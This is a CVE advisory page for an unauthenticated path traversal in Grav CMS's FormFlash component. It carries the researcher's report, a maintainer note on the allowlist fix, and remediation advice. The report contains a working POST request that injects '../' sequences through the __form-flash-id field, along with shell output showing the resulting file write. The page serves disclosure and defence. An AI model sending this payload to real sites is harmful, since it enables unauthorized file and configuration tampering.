# CVE-2026-42608: grav — Fixed in 2.0.0-beta.2

🐘 Packagist

Not in CISA KEV

# CVE-2026-42608 — grav

[Fix: getgrav/grav@c66dfeb](https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47)

CVE-2026-42608 is a Path Traversal vulnerability in getgrav/grav. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav: Unauthenticated Path Traversal & Arbitrary File Write in FormFlash component.

Also known as[GHSA-hmcx-ch82-3fv2](/vulnerability/GHSA-hmcx-ch82-3fv2)

Published

May 11, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42608.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

0.00%0.37%0.74%1.10%0.1%0.6%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## Real-World Exposure

1 pkg affected

🐘`getgrav/grav`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

## Description

## Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write

**\[ZERO-DAY\] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection**

### Summary

Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session\_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data.

This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.

### Affected Component

-   Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).
-   Class: `Grav\Framework\Form\FormFlash`
-   Method: `__construct()` / `getTmpDir()`
-   Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests)

### Vulnerability Details

The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session\_id. The path construction logic in the latest source:

```
$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');
$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;
```

Lack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver's scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`).

### Affected Versions & Zero-Day Status

-   Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).
-   Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.
-   Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).
-   CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.

### Steps to Reproduce

1.  Identify any page containing a Grav Form (e.g., `/contact`).
2.  Intercept the POST request during form submission.
3.  Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`).
4.  Submit the request.
5.  Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path.

### Request Example

```
POST /contact HTTP/1.1
Host: target.grav.cms
Content-Type: application/x-www-form-urlencoded

__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload
```

### Response / Result

-   HTTP/1.1 302 Found (Standard redirect)
-   Filesystem Modification:
    -   Directory Created: `/var/www/html/user/config/proof_dir/poc/`
    -   File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml`

### Proof of Concept Evidence (Before/After)

#### Before Exploitation

-   Status: Directory does not exist.
-   Evidence:

```
$ ls -la /var/www/html/user/config/proof_dir/
ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory
```

#### After Exploitation

-   Status: Arbitrary directory and `index.yaml` created.
-   Evidence:

```
$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml
-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml
$ cat /var/www/html/user/config/proof_dir/poc/index.yaml
form: ''
id: ''
unique_id: poc
...
data:
  poc_status: confirmed
```

### Impact

-   Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.
-   Configuration Injection: Writing `index.yaml` into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.
-   Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.
-   Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).

### Attack Requirements

-   Authentication: None (Unauthenticated)
-   Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)

### Exploitability Assessment

-   Complexity: Low. Requires only basic HTTP POST parameters.
-   Reliability: 100% (Deterministically reproducible in vulnerable versions).
-   Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.

### Remediation

1.  Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction.
2.  Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.
3.  Update Grav: Monitor for patches addressing FormFlash sanitization.

* * *

### Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**.

**What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `''`, which causes `save()`/`delete()`/`getTmpDir()` to no-op — so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk.

**Files:**

-   [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php)
-   [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) — 32 test cases covering the PoC + variants.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐘Packagist

`getgrav/grav` 

all versions

2.0.0-beta.2`composer require getgrav/grav:^2.0.0-beta.2`

## Affected Products

1 product · 2 configurations

Application

`grav`getgrav

< 2.0.0

1 version

2.0.0

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update getgrav/grav to 2.0.0-beta.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42608 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
    

## Frequently Asked Questions

\# Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write \*\*\[ZERO-DAY\] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection\*\* ## Summary Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session\_id (passed as \`\_\_form-flash-id\` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an \`index.yaml\` file containing attacker-controlled data. This

O3 Security · Impact-Aware SCA

### Is CVE-2026-42608 in your dependencies?

Find it across Packagist, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)